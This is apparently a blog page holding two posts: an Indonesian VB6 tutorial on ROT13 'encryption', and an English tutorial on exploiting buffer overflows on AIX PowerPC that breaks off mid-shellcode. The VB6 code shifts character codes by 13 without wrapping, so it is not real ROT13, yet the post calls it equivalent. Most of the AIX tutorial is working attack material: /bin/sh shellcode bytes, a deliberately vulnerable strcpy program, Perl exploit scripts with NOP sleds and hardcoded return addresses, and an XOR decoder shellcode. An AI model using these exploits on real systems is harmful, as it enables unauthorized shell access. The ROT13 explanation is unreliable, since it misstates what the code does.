Tips and Trick Membuat Program Enkripsi Sederhana With VB 6

Ok Kembali Lagi Bersama saya, sekarang saya akan membagi sedikit ilmu mengenai VB [ Visual Basic ]
kali ini kita akan membahas mengenai pembuatan Eknripsi sederhana menggunakan Visual Basic 6.
Langsung saja pertama-tama Yang harus kita Siapkan adalah :

1. Buat form seperti dibawah ini :



2. isi propertiesnya Seperti dibawah ini :



3. isi scpript dibawah nie :

Sub Rot13()
For I = 1 To Len(txtTeks)
Baca = Asc(Mid(txtTeks, I, 1))
'Secara matematis C = ROT13(M)
Tukar = Chr(Baca + 13)
txtHasil = txtHasil & Tukar
Next
End Sub
Sub DeRot13()
For I = 1 To Len(txtTeks)
Baca = Asc(Mid(txtTeks, I, 1))
'Ekuivalen dengan M = ROT13(ROT13(M))
Tukar = Chr(Baca - 13)
txtHasil = txtHasil & Tukar
Next
End Sub
Private Sub cmdDekrip_Click()
txtHasil = ""
DeRot13
End Sub
Private Sub cmdEnkrip_Click()
txtHasil = ""
Rot13
End Sub

4. Coba jalankan programnya :




Untuk Penjelasannya dibawah ini :

Penjelasan Script :

Sub Rot13()
For I = 1 To Len(txtTeks)
Baca = Asc(Mid(txtTeks, I, 1))
'Secara matematis C = ROT13(M)
Tukar = Chr(Baca + 13)
txtHasil = txtHasil & Tukar
Next
End Sub

Baris enkripsi dari ROT13.
Ubah setiap karakter menjadi karakter + 13,
huruf “a” digantikan dengan huruf “n”, huruf “b” digantikan dengan huruf “o”, dst.

Sub DeRot13()
For I = 1 To Len(txtTeks)
Baca = Asc(Mid(txtTeks, I, 1))
'Ekuivalen dengan M = ROT13(ROT13(M))
Tukar = Chr(Baca - 13)
txtHasil = txtHasil & Tukar
Next
End Sub

Merupakan baris kode dekripsi yang merupakan kebalikan dari enkripsi.
Dalam rumus kita dapatkan M = ROT13(ROT13(M)).
Saya bingung bagaimana menerjemahkannya ke source visual basic.
Daripada susah-susah balik saja operatornya yang tadinya.
Tukar = Chr(Baca + 13) menjadi Tukar = Chr(Baca - 13)
Terlihat memang, operator ( + ) diganti menjadi ( - ).
He... he.. yang pentingkan ekuivalen dengan M = ROT13(ROT13(M)) dan tidak perlu
ROT13 dua kali segala, untuk dekripsinya. Efisiensi coy! Efisiensi!

Private Sub cmdDekrip_Click()
txtHasil = ""
DeRot13
End Sub

Kalau button Dekripsi ditekan maka:
Kosongkan properti text pada textbox txtHasil.
jalankan sub program DeRot13().

Private Sub cmdEnkrip_Click()
txtHasil = ""
Rot13
End Sub

Kalau button Enkripsi ditekan maka:
Kosongkan properti text pada textbox txtHasil.
jalankan sub program Rot13().

Sekian Dulu Penjelasan dari saya , Semoga ini bisa Bermanfaat Buat Kalian :D

Read more »

Tutorial Exploiting AIX (Buffer Overflows)

Author: san (san_at_xfocus.org)

--[ 1 - Familiar with PowerPC architecture(32 bit)

The PowerPC architecture is a Reduced Instruction Set Computer (RISC) architecture, with over two hundred defined instructions. PowerPC is RISC in that most instructions execute in a single cycle and typically perform a single operation (such as loading storage to a register, or storing a register to memory). PowerPC instructions are of uniform length of 32 bits and there are almost 12 instruction formats, which reflect 5 primary classes of instructions:

- branch instructions,
- fixed-point instructions,
- floating-point instructions,
- load and store instructions,
- processor control instructions.

PowerPC's application-level registers are broken into three classes: general-purpose registers (GPRs), floating-point registers (FPRs and Floating-Point Status and Control Register [FPSCR]), and special-purpose registers (SPRs). We can see 38 registers in gdb with "info registers" command. Following, Let's look at each class.

r0 Volatile register used in function prologs
r1 Stack frame pointer
r2 TOC pointer
r3 Volatile parameter and return value register
r4-r10 Volatile registers used for function parameters
r11 Volatile register used in calls by pointer and as an
environment pointer for languages which require one
r12 Volatile register used for exception handling and glink code
r13 Reserved for use as system thread ID
r14-r31 Nonvolatile registers used for local variables

Floating-point registers (FPRs)

f0 Volatile scratch register
f1-f4 Volatile floating point parameter and return value registers
f5-f13 Volatile floating point parameter registers
f14-f31 Nonvolatile registers

Special-purpose registers (SPRs)

LR Link register (volatile)
CTR Loop counter register (volatile)
XER Fixed point exception register (volatile)
FPSCR Floating point status and control register (volatile)

CR0-CR1 Volatile condition code register fields
CR2-CR4 Nonvolatile condition code register fields
CR5-CR7 Volatile condition code register fields

Registers r1, r14 through r31, and f14 through f31 are nonvolatile, which means that they preserve their values across function calls. Functions which use those registers must save the value before changing it, restoring it before the function returns. Register r2 is technically nonvolatile, but it is handled specially during function calls as described below: in some cases the calling function must restore its value after a function call.

Registers r0, r3 through r12, f0 through f13, and the special purpose registers LR, CTR, XER, and FPSCR are volatile, which means that they are not preserved across function calls. Furthermore, registers r0, r2, r11, and r12 may be modified by cross-module calls, so a function can not assume that the values of one of these registers is that placed there by the calling function.

The condition code register fields CR0, CR1, CR5, CR6, and CR7 are volatile. The condition code register fields CR2, CR3, and CR4 are nonvolatile; a function which modifies them must save and restore at least those fields of the CR. Languages that require "environment pointers" shall use r11 for that purpose.

On AIX the svca (sc in a mnemonic notation of PowerPC) instruction is used whenever the operating system services are to be called. The r2 register denotes the system call number and registers r3-r10 are appropriately filled with a given system call arguments. There are two additional prerequisites that must be fulfilled before executing the system call instruction: the LR register must be filled with the return from syscall address value and the crorc cr6, cr6, cr6 instruction must be issued just before the system call.

--[ 2 - Learn AIX PowerPC assemble format

Use gcc -S to compile C program can obtain AIX assembly code. If you are not familiar with AIX PowerPC assemble format, just write a small program in C language.

/* setuid.c
*
* Learn AIX PowerPC assembly
*/
#include 
int main()
{
setuid(0);
}

Then compile it use gcc with -S option:

-bash-2.05b$ gcc -S setuid.c

Open setuid.s on current directory:

.file "setuid.c"
.toc
.csect .text[PR]
.align 2
.globl main
.globl .main
.csect main[DS]
main:
.long .main, TOC[tc0], 0
.csect .text[PR]
.main:
.extern __mulh
.extern __mull
.extern __divss
.extern __divus
.extern __quoss
.extern __quous
mflr 0
stw 31,-4(1)
stw 0,8(1)
stwu 1,-72(1)
mr 31,1
li 3,0
bl .setuid
nop
mr 3,0
lwz 1,0(1)
lwz 0,8(1)
mtlr 0
lwz 31,-4(1)
blr
LT..main:
.long 0
.byte 0,0,32,97,128,1,0,1
.long LT..main-.main
.short 4
.byte "main"
.byte 31
.align 2
_section_.text:
.csect .data[RW],3
.long _section_.text

To reduce to fundamental parts, the following is enough:

.globl .main
.csect .text[PR]
.main:
mflr 0
stw 31,-4(1)
stw 0,8(1)
stwu 1,-72(1)
mr 31,1
li 3,0
bl .setuid
nop
mr 3,0
lwz 1,0(1)
lwz 0,8(1)
mtlr 0
lwz 31,-4(1)
blr

--[ 3 - Learn shellcode of AIX PowerPC

B-r00t's PowerPC/OS X (Darwin) Shellcode Assembly is good stuff, although it is OS X but both are PowerPC architecture. We can write shellcode like B-r00t:

-bash-2.05b$ cat simple_execve.s
.globl .main
.csect .text[PR]
.main:
xor. %r5, %r5, %r5 # r5 = NULL
bnel .main # branch to _main if not equal
mflr %r3 # r3 = main + 8
addi %r3, %r3, 32 # r3 = main + 8 + 32 = string
stw %r3, -8(%r1) # argv[0] = string
stw %r5, -4(%r1) # argv[1] = NULL
subi %r4, %r1, 8 # r4 = pointer to argv[]
li %r2, 5 # syscall number = execve
crorc %cr6, %cr6, %cr6 # There are two additional prerequisites that must be fulfilled before executing the system call instruction: the LR register must be filled with the return from syscall address value and the crorc cr6, cr6, cr6 instruction must be issued just before the system call.
svca 0 # execve(r3, r4, r5)
string: # execve(path, argv[], NULL)
.asciz "/bin/sh"

-bash-2.05b$ gcc -o simple_execve simple_execve.s
-bash-2.05b$ ./simple_execve
$

The execve syscall executed correct, and then use objdump check the opcode:

-bash-2.05b$ objdump -d simple_execve|more
...
0000000010000544 <.main>:
10000544: 7c a5 2a 79 xor. r5,r5,r5
10000548: 40 82 ff fd bnel 10000544 <.main>
1000054c: 7c 68 02 a6 mflr r3
10000550: 38 63 00 20 cal r3,32(r3)
10000554: 90 61 ff f8 st r3,-8(r1)
10000558: 90 a1 ff fc st r5,-4(r1)
1000055c: 38 81 ff f8 cal r4,-8(r1)
10000560: 38 40 00 05 lil r2,5
10000564: 4c c6 33 42 crorc 6,6,6
10000568: 44 00 00 02 svca 0
1000056c: 2f 62 69 6e cmpi 6,r2,26990
10000570: 2f 73 68 00 cmpi 6,r19,26624
...

There are some opcodes contain zero. These bytes must be eliminated for the shellcode to suit strcpy etc. Some instructions have reservered bytes, so we can replace it. The opcode of svca is 0x44000002. However, bytes 2 and 3 of the opcode are reserved and therefore not used. So it can be instead of 0x44ffff02. LSD provided a simple shellcode:

/* shellcode.c
*
* ripped from lsd
*/

char shellcode[] = /* 12*4+8 bytes */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel  */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca */
"/bin/sh"
"\x05"
;
int main(void)
{
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}

After compiled this program, use IDAPro to open and disassemble it. In IDAPro window, click shellcode at Names window and press c to disassemble the shellcode data:

.data:200006D8 shellcode: # CODE XREF: .data:200006DC p
.data:200006D8 # DATA XREF: .data:shellcode_TC o
.data:200006D8 7C A5 2A 79 xor. r5, r5, r5 # r5 = NULL
.data:200006DC 40 82 FF FD bnel shellcode # branch to shellcode if not equal
.data:200006E0 7F E8 02 A6 mflr r31 # r31 = .data:200006D8 + 8
.data:200006E4 3B FF 01 20 addi r31, r31, 0x120 # r31 = .data:200006D8 + 8 + 0x120
.data:200006E8 38 7F FF 08 subi r3, r31, 0xF8 # r3 = .data:200006D8 + 8 + 0x120 - 0xF8 = .data:20000708 = string
.data:200006EC 38 9F FF 10 subi r4, r31, 0xF0 # r4 = .data:20000710
.data:200006F0 90 7F FF 10 stw r3, -0xF0(r31) # put address .data:20000708 to .data:20000710
.data:200006F4 90 BF FF 14 stw r5, -0xEC(r31) # put 0 to .data:20000714
.data:200006F8 88 5F FF 0F lbz rtoc, -0xF1(r31)# load syscall number to r2
.data:200006FC 98 BF FF 0F stb r5, -0xF1(r31) # put 0 to .data:2000070F
.data:20000700 4C C6 33 42 crorc 4*cr1+eq, 4*cr1+eq, 4*cr1+eq # Condition Register OR with Comlement
.data:20000700 # ------------------------------------------------------------------------
.data:20000704 44 .byte 0x44 # modified svca
.data:20000705 FF .byte 0xFF
.data:20000706 FF .byte 0xFF
.data:20000707 02 .byte 2
.data:20000708 2F .byte 0x2F # /
.data:20000709 62 .byte 0x62 # b
.data:2000070A 69 .byte 0x69 # i
.data:2000070B 6E .byte 0x6E # n
.data:2000070C 2F .byte 0x2F # /
.data:2000070D 73 .byte 0x73 # s
.data:2000070E 68 .byte 0x68 # h
.data:2000070F 05 .byte 5

IDAPro is more powerful and it's disassembly is more understandability. OK, we know how to write and debug shellcode now.

--[ 4 - Learn overflow technology of AIX PowerPC

There are differences of stack structure between PowerPC and ia32. The PowerPC stack conventions use only a stack pointer (held in register GPR1) and no frame pointer. This configuration assumes a fixed stack frame size, which is known at compile time. Parameters are not passed by pushing them onto the stack. The following is the PowerPC stack:

. Stack before . . Stack after .
. calling a . . calling a .
| procedure | | procedure |
+----------------+- +----------------+-
| Parameter area | | | Parameter area | |
+----------------+ +-Caller +----------------+ +-Caller
| Linkage area | | | Linkage area | |
SP --->+----------------+- +----------------+-
| Stack grows | | Saved registers| |
. down . +----------------+ |
. | . | Local variables| |
v +----------------+ +-Callee
| Parameter area | |
+----------------+ |
| Linkage area | |
SP --->+----------------+-
| Stack grows |
. down .
. | .
v

The PowerPC runtime environment uses a grow-down stack that contains linkage information, local variables, and a routine's parameter information.

The calling routine's linkage area holds a number of values, some of which are saved by the calling routine and some by the called routine. It's structure as following:

+24+----------------+
| Saved TOC |
+20+----------------+
| Reserved |
+16+----------------+
| Reserved |
+12+----------------+
| Saved LR |
+8+----------------+
| Saved CR |
+4+----------------+
| Saved SP |
SP --->+----------------+

The Link Register (LR) value is saved at 8(SP) by the called routine if it chooses to do so.
The Condition Register (CR) value may be saved at 4(SP) by the called routine. As with the Link Register value, the called routine is not required to save this value.
The stack pointer is always saved by the calling routine as part of its stack frame.

The parameter area has space for the parameters of any routines the caller calls (not the parameters of the caller itself). Since the calling routine might call several different routines, the parameter area must be large enough to accommodate the largest parameter list of all the routines the caller calls. It is the calling routine's responsibility for setting up the parameter area before each call to some other routine, and the called routine's responsibility for accessing the parameters placed within it.

There are three instructions when function return on ia32:

mov esp,ebp ; esp point to prior frame
pop ebp
ret ; execute address that saved at esp+4

There are some instructions when function return on AIX PowerPC:

lwz r1,0(r1) # r1 point to prior frame
lwz r0,8(r1) # load saved lr to r0
mtlr r0 # lr=r0
lwz r31,-4(r1) #
blr # execute address that saved at lr

Although there are differences of stack structure between PowerPC and ia32, but they have the same overflow technology. We need overwrite ebp+4 of current frame to return our control address on ia32, and we need overwrite r1+8 of prior frame to return our control address on AIX PowerPC.

Running the simple_overflow program in GDB shows that the control of the saved return address (previous LR value) is possible.

-bash-2.05b$ cat simple_overflow.c
/* simple_overflow.c
*
* Simple program to demonstrate buffer overflows
* on the PowerPC architecture.
*/
#include 
#include 
char largebuff[] =
"123451234512345123451234=PRESERVEDSPACE=ABCD";
int main (void)
{
char smallbuff[16];
strcpy (smallbuff, largebuff);
}

-bash-2.05b$ gcc -o simple_overflow simple_overflow.c
-bash-2.05b$ gdb -q simple_overflow
(gdb) r
Starting program: /home/san/simple_overflow

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) i reg
r0 0x41424344 1094861636
r1 0x2ff22bb0 804400048
r2 0x20000e70 536874608
r3 0x20 32
r4 0x20000534 536872244
r5 0x2ff22bbc 804400060
r6 0x0 0
r7 0x0 0
r8 0x0 0
r9 0x80808080 -2139062144
r10 0x7f7f7f7f 2139062143
r11 0x4 4
r12 0x80808080 -2139062144
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22c00 804400128
r16 0x2ff22c08 804400136
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000460 536872032
r29 0x10000000 268435456
r30 0x3 3
r31 0x53455256 1397051990
pc 0x41424344 1094861636
ps 0x4000d032 1073795122
cr 0x22222842 572663874
lr 0x41424344 1094861636
ctr 0x4 4
xer 0x0 0
fpscr 0x0 0
vscr 0x0 0
vrsave 0x0 0
(gdb) x/8x $r1
0x2ff22bb0: 0x45445350 0x4143453d 0x41424344 0x00000000
0x2ff22bc0: 0x00000000 0x20000e70 0x00000000 0x00000000

Register pc has been overwritten to ABCD and this is our controled content.

(gdb) disas main
Dump of assembler code for function main:
0x1000054c : mflr r0
0x10000550 : stw r31,-4(r1)
0x10000554 : stw r0,8(r1)
0x10000558 : stwu r1,-88(r1)
0x1000055c : mr r31,r1
0x10000560 : addi r3,r31,56
0x10000564 : lwz r4,80(r2)
0x10000568 : bl 0x10006fa0 
0x1000056c : nop
0x10000570 : mr r3,r0
0x10000574 : lwz r1,0(r1)
0x10000578 : lwz r0,8(r1)
0x1000057c : mtlr r0
0x10000580 : lwz r31,-4(r1)
0x10000584 : blr
0x10000588 : .long 0x0
0x1000058c : .long 0x2061
0x10000590 : lwz r0,1(r1)
0x10000594 : .long 0x3c
0x10000598 : .long 0x46d61
0x1000059c : xori r14,r11,7936
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x10000560
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/simple_overflow

Breakpoint 1, 0x10000560 in main ()
(gdb) display/i $pc
1: x/i $pc 0x10000560 : addi r3,r31,56
(gdb) x/20x $r1
0x2ff22b58: 0x2ff22bb0 0x00000000 0x00000000 0x00000000
0x2ff22b68: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b78: 0x00000000 0x00000000 0x00000000 0x00000001
0x2ff22b88: 0x00000000 0xdeadbeef 0xdeadbeef 0xdeadbeef
0x2ff22b98: 0xdeadbeef 0xdeadbeef 0x20000460 0x10000000
(gdb)
0x2ff22ba8: 0x00000003 0x20000460 0x00000000 0x44222802
0x2ff22bb8: 0x100001cc 0x00000000 0x00000000 0x20000e70
0x2ff22bc8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be8: 0x00000000 0x00000000 0x00000000 0x00000000

0x2ff22b58 is the current sp, and it contains prior stack frame address(0x2ff22bb0). So we can get the lr value that saved in prior stack frame, and it is 0x100001cc. The program will execute this address after main function return.

(gdb) until *0x1000056c
0x1000056c in main ()
1: x/i $pc 0x1000056c : nop
(gdb) i reg
r0 0x20 32
r1 0x2ff22b58 804399960
r2 0x20000e70 536874608
r3 0x2ff22b90 804400016
r4 0x20000534 536872244
r5 0x2ff22bbc 804400060
r6 0x0 0
r7 0x0 0
r8 0x0 0
r9 0x80808080 -2139062144
r10 0x7f7f7f7f 2139062143
r11 0x4 4
r12 0x80808080 -2139062144
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22c00 804400128
r16 0x2ff22c08 804400136
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000460 536872032
r29 0x10000000 268435456
r30 0x3 3
r31 0x2ff22b58 804399960
pc 0x1000056c 268436844
ps 0x2d032 184370
cr 0x22222842 572663874
lr 0x1000056c 268436844
ctr 0x4 4
xer 0x0 0
fpscr 0x0 0
vscr 0x0 0
vrsave 0x0 0
(gdb) x/20x $r1
0x2ff22b58: 0x2ff22bb0 0x00000000 0x00000000 0x00000000
0x2ff22b68: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b78: 0x00000000 0x00000000 0x00000000 0x00000001
0x2ff22b88: 0x00000000 0xdeadbeef 0x31323334 0x35313233
0x2ff22b98: 0x34353132 0x33343531 0x32333435 0x31323334
(gdb)
0x2ff22ba8: 0x3d505245 0x53455256 0x45445350 0x4143453d
0x2ff22bb8: 0x41424344 0x00000000 0x00000000 0x20000e70
0x2ff22bc8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be8: 0x00000000 0x00000000 0x00000000 0x00000000

After strcpy, the lr value that saved in prior stack frame was overwritten to 0x41424344.

(gdb) ni
0x10000570 in main ()
1: x/i $pc 0x10000570 : mr r3,r0
(gdb)
0x10000574 in main ()
1: x/i $pc 0x10000574 : lwz r1,0(r1)
(gdb)
0x10000578 in main ()
1: x/i $pc 0x10000578 : lwz r0,8(r1)
(gdb)
0x1000057c in main ()
1: x/i $pc 0x1000057c : mtlr r0
(gdb)
0x10000580 in main ()
1: x/i $pc 0x10000580 : lwz r31,-4(r1)
(gdb)
0x10000584 in main ()
1: x/i $pc 0x10000584 : blr
(gdb)

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
1: x/i $pc 0x41424344: Cannot access memory at address 0x41424344
Disabling display 1 to avoid infinite recursion.

These instructions has been introduced before. The program will execute the lr value that saved in prior stack frame at r1+8.

--[ 5 - How to attack overflow vulnerability on AIX PowerPC

Now we know overflow process, then let's try to attack overflow vulnerability. The following program is the vulnerability.

-bash-2.05b$ cat vulnerable.c
/* vulnerable.c
*
* Vulnerable program on the PowerPC architecture.
*/

#include 
#include 
int main (int argc, char *argv[])
{
char vulnbuff[16];
strcpy (vulnbuff, argv[1]);
printf ("\n%s\n", vulnbuff);
getchar(); /* for debug */
}

-bash-2.05b$ gcc -o vulnerable vulnerable.c

0x2ff22fff seems to be stack bottom of AIX. The following is the AIX's stack structure:

Stack bottom
+----------------+ 0x2ff22fff
| Reserverd |
+----------------+
| Enviroment |
+----------------+
| args |
+----------------+
| path |
+----------------+
| Stack frames |
SP --->+----------------+
| Stack grows |
. down .
. | .
. v .

Enviroment address can be guessed more exactly, so we put lots of nop instructions and the shellcode into the enviroment.

-bash-2.05b$ cat exploit.pl
#!/usr/bin/perl
#
# exploit.pl
# exploit program vulnerable

$CMD="/home/san/vulnerable";

$SHELLCODE=
"\x7c\xa5\x2a\x79". # /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd". # /* bnel  */
"\x7f\xe8\x02\xa6". # /* mflr r31 */
"\x3b\xff\x01\x20". # /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08". # /* cal r3,-248(r31) */
"\x38\x9f\xff\x10". # /* cal r4,-240(r31) */
"\x90\x7f\xff\x10". # /* st r3,-240(r31) */
"\x90\xbf\xff\x14". # /* st r5,-236(r31) */
"\x88\x5f\xff\x0f". # /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f". # /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42". # /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02". # /* svca */
"/bin/sh".
"\x05";

$NOP="\x60\x60\x60\x60"x800;
%ENV=();

$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"\x2f\xf2\x2b\x40"x11;

Try it.

-bash-2.05b$ ./exploit.pl

/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@

Use gdb debug the vulnerable program on the another tty:

-bash-2.05b$ ps aux|grep vul
san 47644 0.0 0.0 208 220 pts/1 A 22:16:24 0:00 grep vul
san 44544 0.0 0.0 96 304 pts/0 A 22:16:02 0:00 /home/san/vulnera
-bash-2.05b$ gdb vulnerable 44544
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
Attaching to program: /home/san/vulnerable, process 44544
0xd01ea254 in read () from /usr/lib/libc.a(shr.o)
(gdb) disas main
Dump of assembler code for function main:
0x10000544 : mflr r0
0x10000548 : stw r31,-4(r1)
0x1000054c : stw r0,8(r1)
0x10000550 : stwu r1,-88(r1)
0x10000554 : mr r31,r1
0x10000558 : stw r3,112(r31)
0x1000055c : stw r4,116(r31)
0x10000560 : lwz r9,116(r31)
0x10000564 : addi r9,r9,4
0x10000568 : addi r3,r31,56
0x1000056c : lwz r4,0(r9)
0x10000570 : bl 0x10007000 
0x10000574 : nop
0x10000578 : lwz r3,88(r2)
0x1000057c : addi r4,r31,56
0x10000580 : bl 0x100073ec 
0x10000584 : lwz r2,20(r1)
0x10000588 : lwz r11,92(r2)
0x1000058c : lwz r9,92(r2)
0x10000590 : lwz r9,4(r9)
0x10000594 : addi r0,r9,-1
0x10000598 : stw r0,4(r11)
0x1000059c : cmpwi r0,0
0x100005a0 : bge- 0x100005b4 
0x100005a4 : lwz r3,92(r2)
0x100005a8 : bl 0x1000747c <__filbuf>
0x100005ac : lwz r2,20(r1)
0x100005b0 : b 0x100005c8 
0x100005b4 : lwz r11,92(r2)
0x100005b8 : lwz r9,92(r2)
0x100005bc : lwz r9,0(r9)
0x100005c0 : addi r0,r9,1
0x100005c4 : stw r0,0(r11)
0x100005c8 : mr r3,r0
0x100005cc : lwz r1,0(r1)
0x100005d0 : lwz r0,8(r1)
0x100005d4 : mtlr r0
0x100005d8 : lwz r31,-4(r1)
0x100005dc : blr
0x100005e0 : .long 0x0
0x100005e4 : .long 0x2061
0x100005e8 : lwz r0,513(r1)
---Type  to continue, or q  to quit---
0x100005ec : .long 0x0
0x100005f0 : .long 0x9c
0x100005f4 : .long 0x46d61
0x100005f8 : xori r14,r11,7936
End of assembler dump.
(gdb) b *0x100005dc
Breakpoint 1 at 0x100005dc
(gdb) c
Continuing.

Press any key at the tty which running exploit.pl, and the gdb debug window continues:

Breakpoint 1, 0x100005dc in main ()
(gdb) i reg
r0 0x100001cc 268435916
r1 0x2ff22210 804397584
r2 0x20000ee8 536874728
r3 0xf00890f1 -267874063
r4 0xf00890f0 -267874064
r5 0x0 0
r6 0xd032 53298
r7 0x0 0
r8 0x60000000 1610612736
r9 0x60002449 1610622025
r10 0x0 0
r11 0x600026c8 1610622664
r12 0x100005ac 268436908
r13 0xdeadbeef -559038737
r14 0x2 2
r15 0x2ff22264 804397668
r16 0x2ff22270 804397680
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000520 536872224
r29 0x10000000 268435456
r30 0x3 3
r31 0x2ff22b40 804399936
pc 0x100005dc 268436956
ps 0x2d032 184370
cnd 0x24222422 606217250
lr 0x100001cc 268435916
cnt 0x0 0
xer 0x0 0
mq 0x0 0
fpscr 0x0 0
(gdb) x/20x $r1
(gdb) x/20x $r1
0x2ff22210: 0x2ff22b40 0x2ff22b40 0x2ff22b40 0x00000000
0x2ff22220: 0x00000000 0x20000ee8 0x00000002 0x2ff2225c
0x2ff22230: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22240: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22250: 0x00000000 0x00000000 0x00000000 0x2ff22270
(gdb) x/20x 0x2ff22b40
0x2ff22b40: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b50: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b60: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b70: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b80: 0x60606060 0x60606060 0x60606060 0x60606060
...
...
...
(gdb)
0x2ff22f00: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f10: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f20: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f30: 0x60606060 0x60607ca5 0x2a794082 0xfffd7fe8
0x2ff22f40: 0x02a63bff 0x0120387f 0xff08389f 0xff10907f

The lr register has been overwritten to 0x2ff22b40. Program will execute this address after function returning, and there are lots of nop instructions after this address until the shellcode appeared. But we must be notice the align problem. The following exploit avoid this problem:

#!/usr/bin/perl
#
# exploit1.pl
# exploit program vulnerable

$CMD="/home/san/vulnerable";

$SHELLCODE=
"\x7c\xa5\x2a\x79". # /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd". # /* bnel  */
"\x7f\xe8\x02\xa6". # /* mflr r31 */
"\x3b\xff\x01\x20". # /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08". # /* cal r3,-248(r31) */
"\x38\x9f\xff\x10". # /* cal r4,-240(r31) */
"\x90\x7f\xff\x10". # /* st r3,-240(r31) */
"\x90\xbf\xff\x14". # /* st r5,-236(r31) */
"\x88\x5f\xff\x0f". # /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f". # /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42". # /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02". # /* svca */
"/bin/sh".
"\x05";

$NOP="\x60\x60\x60\x60"x800;
%ENV=();

$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"\x2f\xf2\x2b\x40"x11;

for($i=0;$i<4 && $ret;$i++){
for($j=0;$j<4 && $ret;$j++) {
$ENV{CCC}="A"x $j .$NOP.$SHELLCODE;
$ret = system $CMD ,"A"x $i ."\x2f\xf2\x2b\x40"x11;
}
}

-bash-2.05b$ ./exploit1.pl

/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@


/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@


/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@


/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@

$

It seems good!

--[ 6 - Bypass I-cache Decoder shellcode is very simple in ia32 architechture.

Although PowerPC instructions cann't access memory direct except load and store instructions, but we can write a decoder shellcode as ia32.

char shellcode[] =
// decoder
"\x7c\xa5\x2a\x79" // xor. %r5, %r5, %r5
"\x40\x82\xff\xfd" // bnel .main
"\x7c\x68\x02\xa6" // mflr %r3
"\x38\x63\x01\x01" // addi %r3, %r3, 0x101
"\x38\x63\xff\x26" // addi %r3, %r3, -0xDA # r3 point start of real shellcode-1
"\x39\x20\x01\x01" // li %r9, 0x101
"\x39\x29\xff\x23" // addi %r9, %r9, -0xDD # shellcode size+1
"\x7c\xc9\x18\xae" // lbzx %r6, %r9, %r3 # read a character
"\x68\xc7\xfe\xfe" // xori %r7, %r6, 0xFEFE # xor
"\x7c\xe9\x19\xae" // stbx %r7, %r9, %r3 # store a character
"\x35\x29\xff\xff" // subic. %r9, %r9, 1
"\x40\x82\xff\xf0" // bne Loop # loop

// real shellcode
"\xc6\x9d\xfe\xe3" // addi %r3, %r3, 29
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
